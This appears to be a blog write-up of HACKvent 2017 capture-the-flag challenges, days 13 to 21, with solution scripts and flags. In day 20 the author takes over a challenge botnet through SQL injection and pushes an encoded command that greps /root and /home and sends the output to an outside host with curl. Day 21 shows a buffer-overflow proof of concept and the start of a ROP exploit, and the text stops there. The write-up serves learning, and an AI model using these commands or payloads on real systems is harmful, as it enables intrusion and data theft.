How about some custom asm to obsfucate the codez?

Download

Solution
After fiddling a bit and adding debug messages to the script I’ve found out how it works. The “_cmp” function compares the user input “chr(r[r1])” against the flag I am looking for. The only thing to do was to add a print function there and to always return true, then it printed the whole flag. To make it a bit easier to read I saved every character to a global var and printed it at once when I had the full flag.

#!/usr/bin/env python

import sys, struct

ip, r, f = 0x00, [0x00]*4, [False]

flag = ""
def _add(r1, r2): r[r1] = ((r[r1] + r[r2]) & 0xFF)
def _addv(r1, v): r[r1] = ((r[r1] + v) & 0xFF)
def _sub(r1, r2): r[r1] = ((r[r1] - r[r2]) & 0xFF)
def _subv(r1, v): r[r1] = ((r[r1] - v) & 0xFF)
def _xor(r1, r2): r[r1] = (r[r1] ^ r[r2])
def _xorv(r1, v): r[r1] = (r[r1] ^ v)
def _cmp(r1, r2): f[0] = (r[r1] == r[r2]); global flag; flag += chr(r[r2]); f[0] = True ##print(chr(r[r1]) + " -- "  + chr(r[r2]));
def _cmpv(r1, v): f[0] = (r[r1] == v)
def _je(o): global ip; ip = (o if f[0] else ip)
def _jne(o): global ip; ip = (o if not f[0] else ip)
def _wchr(r1): sys.stdout.write(chr(r[r1]))
def _rchr(r1): r[r1] = ord(sys.stdin.read(1))

ins = [_add, _addv, _sub, _subv, _xor, _xorv, _cmp, _cmpv, _je, _jne, _wchr, _rchr]

def run(codez):
    global ip
    while ip < len(codez):
        c_ins = ins[ord(codez[ip])]
        if c_ins in [_je, _jne]:
            old_ip = ip
            c_ins(struct.unpack('<I', codez[(ip+1):(ip+5)])[0])
            if old_ip == ip: ip += 5
            continue
        num_of_args = c_ins.func_code.co_argcount
        if num_of_args == 0: c_ins()
        elif num_of_args == 1: c_ins(ord(codez[ip+1]))
        else: c_ins(ord(codez[ip+1]), ord(codez[ip+2]))
        ip += (1 + num_of_args)

print '[ muffin asm ]'
print 'muffinx: Did you ever codez asm?'
run('<REMOVED_FOR_READABILITY>')
print '[+] Here is the solution :>\n' + flag
$ python muffin_asm_mod.py 
[ muffin asm ]
muffinx: Did you ever codez asm?
<< flag_getter v1.0 >>
ohai, gimmeh flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] valid! by muffinx :D if you liked the challenge, troll me @ twitter.com/muffiniks =D
[+] Here is the solution :>
HV17-mUff!n-4sm-!s-cr4zY

HV17-mUff!n-4sm-!s-cr4zY


Day 14: Happy Cryptmas (Author: HaRdLoCk)

 


Description

Todays gift was encrypted with the attached program. try to unbox your xmas present.

Flag:
7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14F
CAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC72
7E255B391005B9ADCF53B4A74FFC34C

Download

Solution
To reverse engineer this binary is pretty easy. There is not much going on in the program and you can see that there is a call to the function “powmod” in the library “libgmp” .

Simplified:

a = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51
b = 65537
__gmpz_powm(return, input, b, a);

This calculates “input * b % a”. I’ve spent way to much time on this and wanted to solve the equation myself (was in the math-mood after HaRdLoCks last challenges! :) )… Until I’ve figured out this is the RSA implementation!!

I started to fresh up my knowledge about the theory of RSA:
https://brilliant.org/wiki/rsa-encryption/
Everything is pretty straight forward, only that I don’t have the private key?! And RSA is based on the principle, that you cannot factorize large numbers. Then I found this pretty little website: http://factordb.com/. Somebody already did the factorization for us:

n = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51
q = 18132985757038135691

Now I was able to calculate all the missing variables

e = 65537
n = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51
q = 18132985757038135691
p = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827
n2 = (p-1)*(q-1) = 12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940
d = modinv(e, n2) = 11903318995073430164577503847683267546359967676384752694991086766489406467225300923841785563594951777603744100701253775023018437436479889304154234700349513

The function to decrypt is:

m^d % n
0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C**d%n

The only problem here is, that python is very slow in solving this. Using the pow() function solved the problem.

# Encrypted message
enc=0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C

# Given variables from reversing the binary
e = 65537
n = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51

# q & p
# http://factordb.com/
q = 18132985757038135691
p = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)


def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def encrypt(e, n, message):
    return pow(int(message.encode("hex"), 16), e, n)


def decrypt(d, n, message):
    res = pow(message, d, n)
    return '{0:02x}'.format(res).decode("hex")


# Calculate missing variables
# https://brilliant.org/wiki/rsa-encryption/
n2 = (p-1)*(q-1) #12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940
d = modinv(e, n2) #11903318995073430164577503847683267546359967676384752694991086766489406467225300923841785563594951777603744100701253775023018437436479889304154234700349513

# Try run
hv_en = encrypt(e, n, "HV17")
hv_pl = decrypt(d, n, hv_en)
print("[+] Encrypted 'HV17': '" + "0x" + str(format(hv_en,"02x")) + "'")
print("[+] Decrpyted '" + "0x" + str(format(hv_en,"02x")) + "': '" + str(hv_pl) +"'")

# Decrypt the actual flag
print("[+] Decrypt encrypted flag '" + str(enc) +"':")
flag = decrypt(d, n, enc)
print("--> " + flag)

HV17-5BMu-mgD0-G7Su-EYsp-Mg0b


Day 15: Unsafe Gallery (Author: inik)

See pictures you shouldn’t see


Description

The List of all Users of the Unsafe Gallery was leaked (See account list).
With this list the URL to each gallery can be constructed. E.g. you find Danny’s gallery here.

Now find the flag in Thumper’s gallery.

Solution
I didn’t like this challenge, because it was depending too much on guessing. With the given example it was possible to focus on two Dannys in the CSV file. After a lot of trial & error I managed to find the right combination.

The email address field was hashed with SHA-256 and then Base64 encoded. All non alphanumeric characters were removed from the Base64 string, and the result of this was the URL.

Here is the python script to solve the challenge:

import csv
import base64
import hashlib
import re
import urllib

url_hash="bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw"
LINK = "http://challenges.hackvent.hacking-lab.com:3958/gallery/" 

accounts = []
with open('accounts.csv', 'r') as f:
  reader = csv.reader(f)
  accounts = list(reader)


def compute_url(field):
    regex = re.compile('[^a-zA-Z0-9]')
    res = regex.sub("", base64.b64encode(hashlib.sha256(field).digest()))
    return res


def find_flag(url_hash):
    li = LINK + url_hash
    f = urllib.urlopen(li)
    flag = f.read()

    if not "HV17-" in flag:
        return None
    else:
        i = flag.index("HV17")
        return flag[i:i+29]


def get_account_by_name(name):
    res = []
    for x in accounts:
        if x[1] == name:
            res.append(x)
    return res


# Find the right account & Field 
dannys = get_account_by_name("Danny")
for x in dannys:
    for y in x:
        url = compute_url(y)

        if url == url_hash:
            print("[+] URL for field '" + y + "' matches: " + url)
            print("Account: " + str(x))
            print("---------------------------")
            break

# Find the right Thumper!
thumpers = get_account_by_name("Thumper")
for x in thumpers:
    url_hash = compute_url(x[6])
    flag = find_flag(url_hash)
    if flag:
        print("[+] Found our Flag!")
        print("[+] " + LINK + url_hash)
        print("[+] " + x[6])
        print("--> " + flag)
$ python sol.py 
[+] URL for field 'Danny.Dixon@sunflower.org' matches: bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw
Account: ['32009', 'Danny', 'Dixon', '484 Cliffwood Boulevard', '75876', 'Crescent', 'Danny.Dixon@sunflower.org', '44967219', 'gold', '15', '1', '39', '91819254', '128486', 'active']
---------------------------
[+] Found our Flag!
[+] http://challenges.hackvent.hacking-lab.com:3958/gallery/37qKYVMANnIdJ2V2EDberGmMz9JzS1pfRLVWaIKuBDw
[+] Thumper.Lee@gmx.com
--> HV17-el2S-0Td5-XcFi-6Wjg-J5aB

HV17-el2S-0Td5-XcFi-6Wjg-J5aB


Day 16: Try to escape … (Author: pyth0n33)

… from the snake cage


Description

Santa programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.

nc challenges.hackvent.hacking-lab.com 1034

Solution
Very entertaining challenge. I assume there were many different ways to solve this challenge. I don’t think it is possible for the author to just allow one possible path in such an environment.

When connecting to the server some nice ASCII art is shown, a message and a python command prompt:

The flag is stored super secure in the function SANTA!
>>> a =

After playing around a bit with the python jail I made some discoveries:

– Everything entered gets transformed to lowercase
– There are some denied characters and functions

>>> a = x
Denied

– There are allowed functions as well

>>> a = 1
>>> a = print(a)
1

– ‘Denied’ is a list with blacklisted functions and I could print it!

>>> a = print(denied)
['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']

– I was able to use these functions: a=denied[0]
– I had the eval() function, which can execute code. And I had the upper() function.

Now I was able to create SANTA().

>>> a = eval("'santa'."+DENIED[1]+"()")+"()"
>>> a = print(a)
SANTA()

With eval() it is possible to execute SANTA().

>>> a = print(eval(eval("'santa'."+DENIED[1]+"()")+"()"))
No flag for you!

:( And I thought I already solved the challenge before this point… So, I started to play with arguments for the SANTA() function.

>>> a = print(eval(eval("'santa'."+DENIED[1]+"()")+"('A')"))

This returned some non-printable characters. I tried to input more characters:

>>> a = print(eval(eval("'santa'."+DENIED[1]+"()")+"('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"))
ca}fg<7%3f&c76{'f(,}a3%)

OK, I definitely got something, lets try out numbers instead of ‘A’s.

>>> a = print(eval(eval("'santa'."+DENIED[1]+"()")+"('00000000000000000000000000000000000000000000000')"))
IU20,I76m.ftb7.w2fg*v7y},0btx

This already looks like our flag, but still encoded/encrypted somehow. I started to change my input, character by character and was able to construct ‘HV17’ with

1337! >>> a = print(eval(eval("'santa'."+DENIED[1]+"()")+"('13371337133713371337133713371337')"))
HV17-J41l-esc4-p3ed-w4zz-3asy

Later on I’ve found an alternative method to solve this challenge. It is also possible to use the title function to construct “SANTA()”.

>>> a = print(eval("s".title()+"a".title()+"n".title()+"t".title()+"a".title()+"('1337133713371337133713371337133713371337')"))
HV17-J41l-esc4-p3ed-w4zz-3asy

HV17-J41l-esc4-p3ed-w4zz-3asy


Day 17: Portable NotExecutable (Author: HaRdLoCk)

 


Description
here is your flag.

but wait – its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that?

get the flag here

Solution
This executable is not running correctly, apparently the header is broken and the challenge is to fix it. First I had to read about the PE file format. These links helped a lot:

PE101.png
https://msdn.microsoft.com/en-us/library/ms809762.aspx

The PEView tool is very helpful as it parses the file and shows the header information. https://www.aldeid.com/wiki/PEView

In the end it was to read up the specifications and find the errors in the header. Finally, I had to make 4 modifications to make the executable run.

– Change the e_magic number to 4D5A (Address: 0x00)
– Change the e_lfanew number from 0x20 to 0x40 (Address: 0x3C)
– Change PNE to PE00 –> 504e4500 to 50450000 (Address: 0x40)
– There are only 4 sections, so change 6 sections to 4 (Address: 0x46)

This still didn’t reveal the right flag. And for every tiny modification I did, the printed flag was a new one. Therefore, I tried to modify only what was really needed.

When running strings over the file, there was this hint:

$ strings Portable_NotExecutable.exe | grep HV17
HV17
HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?

I assumed that I have to get rid of the DOS window which opens when the executable is running. Fortunately I did exactly this for another purpose some weeks back. To do so I had to set the “image_optional_header_subsystem” at the address 09c from windows_cui to windows_gui. This means to change the value from 3 to 2.

All the modifications:

Executing the modified EXE file the right flag is printed:

HV17-VIQn-oHcL-hVd9-KdAP-txiK


Day 18: I want to play a Game (Reloaded) (Author: HaRdLoCk)

 


Description

last year we played some funny games together – do you remember? ready for another round?

download the game here and play until you find the flag.

get the game

Solution
I always struggle a bit with Reverse Engineering challenges. But it’s HACKvent, here we go.

The rpcs3 Playstation 3 emulator was a real help for this challenge. The game didn’t start at first, but after looking around I noticed that if I load the hackvent.self binary the game starts and it reveals the hidden flag number 2!

HV17-Muq9-gzvU-t3Bg-O3jo-iGml

I analyzed the files and found some useful information:

  1. hackvent.self is encrypted and signed. Therefore it can be run. It also can be decrypted with TrueAncestor.
  2. EBOOT.BIN is almost the same like the unencrypted hackvent.self file. There are some differences and it contains debug information. The instructions and addresses are the same!
  3. We cannot make EBOOT.BIN run, I tried to sign it with TrueAncestor, but the file is somehow broken.
  4. The hint says we should follow the flag in the unsigned binary (EBOOT.BIN), so there must be some differences between the unsigned and signed binaries.
  5. I assumed, the unsigned binary does exactly the same like the signed one, but reveals the real flag in the end.

I reverse engineered the EBOOT.BIN file with Hopper. Eventually I’ve found out, that the magic is happening in the function .drawScene.

After several attempts to use the debugger of rpcs3 I was finally able to step through the drawScene function. Of course there was not the right data, but it helped a lot to understand the function.

The data which is used lays at the addresses 0x40040, 0x4005d and 0x4007a. I tried to completely understand the function, but I am really slow in reversing! At 23:40 I decided to patch the decrypted hackvent.elf file and resign it with TrueAncestor. So I could run it with the “real” data. I replaced the data at the three addresses mentioned above with hexedit.

Diff:

Then I re-signed the file and ran it again. And there it is, the right flag.

I was able to submit the correct flag at 23:59:54!!! 6 seconds later and I would not have received the full points!

HV17-5mJ3-yxcm-WiUX-nZgW-e0lT


Day 19: Cryptolocker Ransomware (Author: Dykcik)

Pay the price, Thumper did it already!


Description

This flag has been taken for ransom. Transfer 10’000 Szabo to 0x1337C8b69bcb49d677D758cF541116af1F2759Ca with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.

Disclaimer: No need to spend r34l m0n3y!

Enter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning.

Solution

I had the idea to make a blockchain CTF challenge myself. I was very excited to solve this one!

According to the description I knew that it was a smart contract hosted in the Ethereum blockchain. All blockchain transactions and contracts in Ethereum can be publicly viewed. The bytecode of the contract is here:

0x6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486600260003660116000604051602001526040517f485631372d00000000000000000000000000000000000000000000000000000081526005810184848082843782019150508260ff167f0100000000000000000000000000000000000000000000000000000000000000028152600101935050505060206040518083038160008661646e5a03f1151561010157600080fd5b5050604051805190506040519081526040602082018190526011818301527f596f7572206b657920697320686572652e00000000000000000000000000000060608301526080909101905180910390a15b005b341561015f57600080fd5b61015260005473ffffffffffffffffffffffffffffffffffffffff9081169030163180156108fc0290604051600060405180830381858888f1935050505015156101a857600080fd5b5600a165627a7a7230582020304ba8cb5786445e5c47f840741111591a38057d40ac139568b31f9eaee3c70029

The transaction made from Thumper can be found here:

And Thumpers key can be found in the event logs:

Reverse engineering an Ethereum contract is pretty hard. A better solution is, to run the contract in a private blockchain and trigger it by sending a transaction to it. To do so I used ethereumjs-vm. I extended the example of the simple transactions:

$ npm install ethereumjs-vm
$ cd ethereumjs-vm/examples/run-transactions-simple/

And then I modified the index.js:

var Buffer = require('safe-buffer').Buffer // use for Node.js <4.5.0
var VM = require('../../index.js')

// create a new VM instance
var vm = new VM()

var code = '6060604052600436106100405763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663ea8796348114610154575b662386f26fc100003410610152577fec29ee18c83562d4f2e0ce62e38829741c2901da844c015385a94d8c9f03d486600260003660116000604051602001526040517f485631372d00000000000000000000000000000000000000000000000000000081526005810184848082843782019150508260ff167f0100000000000000000000000000000000000000000000000000000000000000028152600101935050505060206040518083038160008661646e5a03f1151561010157600080fd5b5050604051805190506040519081526040602082018190526011818301527f596f7572206b657920697320686572652e00000000000000000000000000000060608301526080909101905180910390a15b005b341561015f57600080fd5b61015260005473ffffffffffffffffffffffffffffffffffffffff9081169030163180156108fc0290604051600060405180830381858888f1935050505015156101a857600080fd5b5600a165627a7a7230582020304ba8cb5786445e5c47f840741111591a38057d40ac139568b31f9eaee3c70029'

var hexString;
var byteArray;
function toHexString(byteArray) {
    return Array.prototype.map.call(byteArray, function(byte) {
        return ('0' + (byte & 0xFF).toString(16)).slice(-2);
    }).join('');
}

vm.on('step', function (data) {
})

vm.runCode({
    code: Buffer.from(code, 'hex'),
    gasLimit: Buffer.from('ffffffff', 'hex'),
    value: 10000000000000000, //0.01 Ether
    //data: Buffer.from('5468756d706572', 'hex') //Thumper
    data: Buffer.from('6d636961', 'hex') //mcia
}, function (err, results) {
    hexString = toHexString(results.logs[0][2])
    console.log("[+] There is your key:")
    console.log("--> " + hexString.substr(0,64))
    //console.log('returned: ' + results.return.toString('hex'))
    //console.log('gasUsed: ' + results.gasUsed.toString())
    console.log(err)
})

I ran the code locally and when I browsed to the URL I received my key to solve the challenge:

0e9c15654854f594610d8331195e578601ed3f406ad0ed821bb4f7af84cff38d

Day 20: linux malware (Author: muffinX)

oh boy, this will go wrong… =D


Description

ohai my name is muffinx…
…um yeah btw. cyberwar just started and you should just pwn everyone?

Make sure you don’t leave traces and make the lifes of your opponents harder, but fairplay!

You are a hacker? Then think like a hacker!
Attack! Defend! And trick!

Ladies and gentlemen,
We understand that you
Have come tonight
To bear witness to the sound
Of drum And Bass

We regret to announce
That this is not the case,
As instead
We come tonight to bring you
The sonic recreation of the end of the world.

Ladies and gentlemen,
Prepare
To hold
Your
Colour

OK.
Fuck it,
I lied.
It’s drum and bass.
What you gonna do?

WARNING:


RUN INSIDE VM, THIS CONTAINER MAYBE DANGEROUS FOR YOUR SYSTEM,
WE TAKE NO RESPONSIBILITY

You should keep the container inside the same host your haxxing on (same ip) or some things will not work…

https://hub.docker.com/r/muffinx/hackvent12_linux_malware/

Hint #1: check https://hub.docker.com/r/muffinx/hackvent17_linux_malware/ for regular updates, keep the container running (on the same ip) when you are haxxing the bot panel
Hint #2: you can also use https://hookbin.com/ to create private endpoints

Solution
WOW – This challenge was super amazing!! Thanks muffinx for this experience!

I started the docker container and connected to the container as root, otherwise not all files are readable.

$ docker exec -u 0 -it mycontainer bash

I started to explore what was happening. According to the description there is some kind of malware running on the system.

Interesting files:
– /root/party.py: Generates a lot of distraction. Writes temporary files in different folders with fake/random flags.
– /root/loopz.py: Makes sure that /home/bot/bot is running.
– /root/checker.py: XOR a nonce which is fetched from http://challenges.hackvent.hacking-lab.com:8081/?nonce with a 29 byte long value in the script. I first thought this could be the flag already. But I got rick-rolled when looking for it. :)
– /home/bot/bot: Creates different files in /tmp. But they are deleted right after execution. I copied the files to another directory with this command:

while true; do cp .* files/; sleep 0.5; done

One of the copied files was very interesting. First it looked like a manual file. But when scrolling through it, there was python code hidden in the middle of the file! The script connects to http://challenges.hackvent.hacking-lab.com:8081/?twitter, reads twitter names listed there and then decrypts the tweets of the users in the list. The decrypted tweets can contain code which will be executed afterwards.

This is a bot-net controlled over encrypted twitter commands! My now goal was to somehow inject my twitter name into the website and take over control over the bot-net.

In the main website of this challenge there is a hidden form with a password in the source code, this was the entry point to the admin panel. I found a SQL-injection-vulnerability in this field. I used sqlmap to exploit this because I was very lazy! :) While looking around, I’ve found a password table which contained the password. But it was encrypted. :/ I played a bit more with sqlmap and I received this error message:

got [-] query failed : SELECT AES_ENCRYPT(''--','muffin_botz_hax_pw') AS enc FROM passwords

Now I had the password to decrypt the password. This could be easily done in the MySQL shell I had:

SELECT AES_DECRYPT(password, 'muffin_botz_hax_pw') from passwords;

After entering the password into the hidden form, another website with a video appeared. The new page contained a new hidden form, where I could add a twitter name. This script executes both commands.

import urllib2
import base64
import time
 
req1 = urllib2.Request('http://challenges.hackvent.hacking-lab.com:8081/')
response = urllib2.urlopen(req1, data="password=this_pw_is_so_eleet")
cookie = response.headers.get('Set-Cookie')
res = response.read()
print(res + "\n----------------")

# Use the cookie is subsequent requests
req2 = urllib2.Request('http://challenges.hackvent.hacking-lab.com:8081/')
req2.add_header('cookie', cookie)
response = urllib2.urlopen(req2, data="twitter_name=mhvent1337")
res = response.read()
print(res)

After adding myself to the twitter list, I had control over the botnet. Basically everyone solving the challenge was a part in the botnet! The feeling to control all these little minions was amazing! :) Next step was to understand the script which decrypts the commands from Twitter. I modified it a bit and added my own functions to encrypt/decrypt commands.

# as stupid as this is, it definetly can't be something dangerous! :)

import base64, os, re, urllib2
from easyprocess import EasyProcess

#os.system('/root/checker.py') # this does nothing

# gosh im stupid
yolo, gimme_muffin, party_hard, ten_inches, omg_wat = base64.b64decode, urllib2.urlopen, re.findall, len, range

def x(t):
    res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])
    return res

# yeah stop to reverse 1337 hax0r i got dem skillz pew pew pew

def ok_cool(c):
    # dont reverse this i am a big guy
    # dolan
    try: 
        c = x(yolo(c));
        EasyProcess(c).call(timeout=2)
    except: 
        pass

def wtf(n):
    # wat r u doin
    t = 'https://twitter.com/' + n;
    cs = []       #https://twitter.com/

    # pls leak this as an nsa sample
    try: 
        c_txt = urllib2.urlopen(t).read(); 
        cs = re.findall('TweetTextSize(.*)</p', c_txt)
        print(cs)

    # *placing advertisements* https://twitter.com/muffiniks
    except: 
        pass
    # dolan
    for c in cs:
        try:
            c = c[c.index('>')+1:]
            #print(c)
            # y i could use regex lil
            if '<a href="/muffiniks" class="twitter-atreply pretty-link js-nav" dir="ltr" data-mentioned-user-id="764117042274373632" ><s>@</s><b>muffiniks</b></a>' in c and ' <a href="/hashtag/hackvent?src=hash" data-query-source="hashtag_click" class="twitter-hashtag pretty-link js-nav" dir="ltr" ><s>#</s><b>hackvent</b></a>' in c and ' rel="nofollow noopener" dir="ltr" data-expanded-url="http://hackvent.hacking-lab.com" class="twitter-timeline-link" target="_blank" title="http://hackvent.hacking-lab.com" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">hackvent.hacking-lab.com</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible">&nbsp;</span></span></a> ' in c:
                c = c[c.index('MUFFIN_BOTNET:')+len('MUFFIN_BOTNET:'):]; 
                c = c[:c.index(':MUFFIN_BOTNET')]; 
                ok_cool(c)
            else:
                print("nope")
        except: pass


def ohai():
    # PLS STAHP
    ns = []
    # yes I work for the cia
    try: 
        n_txt = urllib2.urlopen('http://challenges.hackvent.hacking-lab.com:8081/?twitter').read(); 
        ns = list(set([n for n in n_txt.split('|') if len(n) > 1]))
    # rnd comments ftw
    except: pass
    # TODO: add launch code
    for n in ns: wtf(n)


def decrypt_command(c):
    c = c[c.index('MUFFIN_BOTNET:')+len('MUFFIN_BOTNET:'):]; 
    c = c[:c.index(':MUFFIN_BOTNET')]; 
    command = x(yolo(c));
    print("Decrypted Tweet:\n" +command)


def encrypt_command(t):
    #res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])
    res = ''.join([chr(ord(t[i])^[0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13][i%10]) for i in range(len(t))])
    print("Encrypted Tweet:\n@muffiniks #hackvent http://hackvent.hacking-lab.com MUFFIN_BOTNET:"+base64.b64encode(res)+":MUFFIN_BOTNET")
    return res

#wtf("muffiniks")

#Try commands:
decrypt_command("MUFFIN_BOTNET:EQEDZxdvJhMuZwsWSX5CJA9abyJVVVEzXzYdQzs8SRERZBkvHFVneghLEXZbNkdXZDwPCwd0UjFGXnR1AA8IcV4uDVZzPBUFDnxcLQRGZ3UPCEh0XiQ=:MUFFIN_BOTNET")
decrypt_command("MUFFIN_BOTNET:EgkTcF9iK0ZmdjkRB2BoKgxBZA==:MUFFIN_BOTNET")
decrypt_command("MUFFIN_BOTNET:FQ5GPlRiTlZmYQMWRj5lYiFlMCRLRkl7WC8ME30zBAcVdgF2SR52M1ZGGjNUNxtfIT4CRiY+FyodR3FgXElJZEA1R1dgPRAPAnFCIQFSb3IISAV8GTcCHGJnAEkKfFAlDEEufwkBSGNfMk4=:MUFFIN_BOTNET")
encrypt_command("sh -c 'egrep -Rhn HV17- /home /root | base64 -w 0 | curl -d @- https://hookb.in/vqLpo7Gw'")
encrypt_command("sh -c 'egrep -R HV17- /home /root | base64 -w 0 | curl -d @- https://hookb.in/vqLpo7Gw'")

With this I was able to execute commands on all the bots and I could start looking for the flag. It was pretty hard to find the needle in the haystack, because there is this script on all hosts which generates fake flags.

So what to look for? I pinged the website of the challenge and got back the IP 80.74.140.188. I checked if I can control this IP over the botnet as well – and yes I got answers from there. Now it was clear, I had to focus on this host.

I found the flag in the root directory. Fortunately there were no fake flags in the root directory and it was the only host which contained a flag in this directory. I could get the flag with this command:

sh -c 'egrep -R HV17- /home /root | base64 -w 0 | curl -d @- https://hookb.in/vqLpo7Gw
@muffiniks #hackvent http://hackvent.hacking-lab.com MUFFIN_BOTNET:FQ5GPlRiTlZmYQMWRj5lYiFlMCRLRkl7WC8MEy5hCQkSM0tiC1JydlBSRj5AYlkTfTMFExR/F28NE0E+Rg4SZ0cxUxwuewkJDXEZKwccd2IqFgkkcDVO:MUFFIN_BOTNET

HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?


Day 21: tamagotchi (Author: muffinX)

ohai fuud or gtfo


Description

ohai

I’m a little tamagotchi who wants fuuuuud, pls don’t giveh me too much or I’ll crash…

nc challenges.hackvent.hacking-lab.com 31337

File #1: tamagotchi File #2: libc-2.26.so

Solution
Here I messed up, the only point I lost was at this challenge. I wasn’t able to successfully exploit the tamagotchi binary on the remote server in time. It was even more frustrating when I’ve found out the next morning, that it was because of a copy/paste error of the system offset! :(

These tutorials helped me a lot to solve this challenge:

https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/
https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/
https://offensivepentest.com/2017/09/06/ropemporium-write4-writeup/

The food function is exploitable. To find the offset that I could overwrite the RIP I used gdb-peda:

gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

I copy/pasted the pattern into the food function:

[MENU]
1.) eat
2.) bye
[ch01c3]> 
1
[f00d]> 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A
[+] nom nom nom 
[ch01c3]> 
2
[+] bye bye

Program received signal SIGSEGV, Segmentation fault.

And now I was able to calculate the offset:

gdb-peda$ x/wx $rsp
0x7fffffffe498: 0x4325416e
gdb-peda$ pattern_offset 0x4325416e
1126515054 found at offset: 216

Now I was able to create a PoC on my local system, which overwrites the RIP with 0x0000424242424242.

#!/usr/bin/env python
from struct import *

buf = "1\n"
buf += "A"*216                      # offset to RIP
buf += pack("<Q", 0x424242424242)   # overwrite RIP with 0x0000424242424242
buf += "C"*100
buf += "\n2\n"                      # padding to keep payload length at 400 bytes

f = open("in.txt", "w")
f.write(buf)

Following the tutorials I created a local exploit, which used a ROP chain and executed /bin/sh from system(). The ROP I have found with Ropper. The system and /bin/sh addresses can be found with gdb.

from struct import *

buf = "1\n"
buf += "A"*216                              # offset to RIP
